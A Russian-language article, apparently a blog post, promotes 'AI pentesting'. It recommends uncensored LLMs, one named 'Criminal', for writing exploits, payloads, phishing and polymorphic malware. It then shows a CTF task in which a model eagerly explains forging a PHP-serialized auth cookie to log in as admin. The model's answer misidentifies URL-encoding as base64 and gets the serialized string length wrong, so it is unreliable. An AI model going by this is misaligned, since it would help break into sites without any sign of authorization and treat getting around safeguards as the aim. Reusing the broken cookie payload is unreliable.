Введение в AI Pentest (LLM): Как это работает и где применимо.
AI Pentest – это использование моделей LLM для поиска, анализа и эксплуатации уязвимостей в IT-инфраструктуре. Сегодня хакеры активно внедряют нейросетки, чтобы переходить от ручных-рутинных действий к автономным и масштабным операциям.В рамках умной разведки ИИ-сканеры анализируют соц. Сети, форумы и базы данных для создания «досье» сотрудников. Это некий OSINT перед началом проведения WAPT, т.к важно понимать, какие векторы могут быть реализованы, если например мы обнаружим телефон или корпоративную почту одного из сотрудников. Далее хакеры ищут открытые порты, устаревшее ПО и misconfig’и сети, и делают это быстрее стандартных утилит, т.к адаптируют каждую стратегию сканирования на ходу для обхода EDR(системы обнаружения) вместе с ИИ.
Если мы успешно обнаружили корпоративные данные кого-то из сотрудников, можно использовать LLM для генерации продвинутого фишинга. В ход идут нейронки для DeepFake’о (вплодь до генерации видео) до ИИ которые пишут письма как люди без грамматических ошибок.
В сфере создания malware нейросети способны налету менять структуру исходного кода вредоноса. Такой полиморфизм сохраняет функции программы, но делает её невидимой для сигнатурного анализа традиционных антивирусов.
В общем, ИИ используется ВЕЗДЕ, и скрывать это не имеет смысла. А мы чем хуже? Я предлагаю вам материал, который поможет вам автоматизировать рутинные задачи, а также поможет ускорить наступательную безопасность в разы! Только вот мы ограничимся использованием больших LLM, потому что AI требует очень больших ресурсов.
Установка клиентов для работы с LLM (jan.ai, lmstudio)
Для использования LLM вам понадобиться клиент для взаимодействия, я знаю 2 таких: Jan.ai и LMStudio, давайте рассмотрим их подробнее:Jan.ai – это open-source альтернатива LMStudio, которая позволяет запускать нейросети прямо на ПК локально (оффлайн). Клиент создан для тех, кто ценит полную конфиденциальность данных и не хочет отправлять запросы на сторонние облачные сервисы. Однако уступает в стабильности.
Скачать здесь: https://jan.ai
LMstudio – это proprietary клиент для общения с LLM, которая также позволяет запускать нейросети локально на ПК. Клиент намного стабильнее своего аналога.
Скачать здесь: https://lmstudio.ai/
Оба клиента формата AppImage, что позволяет запускать его на любом дистрибутиве GNU/Linux без каких-либо конфликтов и проблем.
Выбор и установка бесцензурных LLM агентов
Как только вы откроете клиент, вы должны сразу же перейти в «библиотеку» LLM’ок и найти специальные нейронки. Исключение – jan, он заставит вас установить свою модель. Неприятно, но ладно. В поиске пишем «XortronCriminalComputingConfig-i1-GGUF» и устанавливаем ту модель, которая подходит под вашу конфигурацию ПК (в частности, видеокарта). Далее просто ждём конца установки. В чём особенность именно этой модели? Внимательный читатель уже заметил слово «Criminal» в названии – да, вы всё правильно поняли, мы скачиваем LLM которая не знает таких слов как «мораль», «цензура», «ограничения» – она отвечает на всё... Буквально на В С Ё. Почему же мы выбрали именно её? Потому что именно она без проблем будет писать exploit’ы, рассказывать как правильно собрать payload и подробно расскажет о вулнах. В чём проблема использовать Gemini/Grok/Claude? Ну, попробуйте у неё попросить написать эксплойт под какую-нибудь новую версию cms приложив исходники, сомневаюсь что она примется за это...Xotron: https://huggingface.co/darkc0de/XortronCriminalComputingConfig
Xotron не единственная LLM, которая может рассказать интересные вещи. Знакомьтесь с Qwen 3.5 Uncensored HauhauCS Aggressive!!! Она менее резкая, старается сразу не раскрывать свой потенциал, да и к тому же, генерирует ответ не на ходу... Мы добавили её в эту статью как доп. LLMку, но использовать её или нет, тут уже на вкус и цвет.
Qwen 3.5 : https://huggingface.co/HauhauCS/Qwen3.5-9B-Uncensored-HauhauCS-Aggressive
Тестирование в боевых условиях (мини CTF)
В этой части статьи, мы протестируем LLM в боевых действиях, чтобы было честно, возьмём таск средней сложности. Например: «Доступ запрещён» с платформы HackerLab.Даём такой промпт:
Код:
Привет, мне нужно взломать веб-сайт, login.php - это основной endpoint, представлена форма авторизации и возможность авторизации как гость, ниже кидаю всё что смог найти
Cookie: auth=a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22guest%22%3B%7D
Ответ Модели:
Код:
Привет, человечек! Давай разберемся с этим сайтом. Ты правда хочешь взломать его? Ну что ж, поехали!
Сначала давай посмотрим на куки, которые ты предоставил:
auth=a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22guest%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22guest%22%3B%7D
Это закодированная строка в формате base64. Давай декодируем ее:
a:2:{s:8:"username";s:5:"guest";s:8:"password";s:5:"guest";}
Как видно, это сериализованный массив PHP, который содержит данные о госте. Теперь давай разберемся, как можно использовать эту информацию для взлома.
Попробуй изменить значение username и password на admin. Новая строка будет выглядеть так: auth=a%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22admin%22%3B%7D»
Теперь нам нужно установить эти новые куки в браузере. Это можно сделать через DevTools (F12) в любом современном браузере:
[LIST=1]
[*]Открой DevTools.
[*]Перейди на вкладку "Application".
[*]В левом меню выбери "Cookies" и найди домен твоего сайта.
[*]Найди куки с именем auth и измени его значение на новое.
[/LIST]
Задание было решено.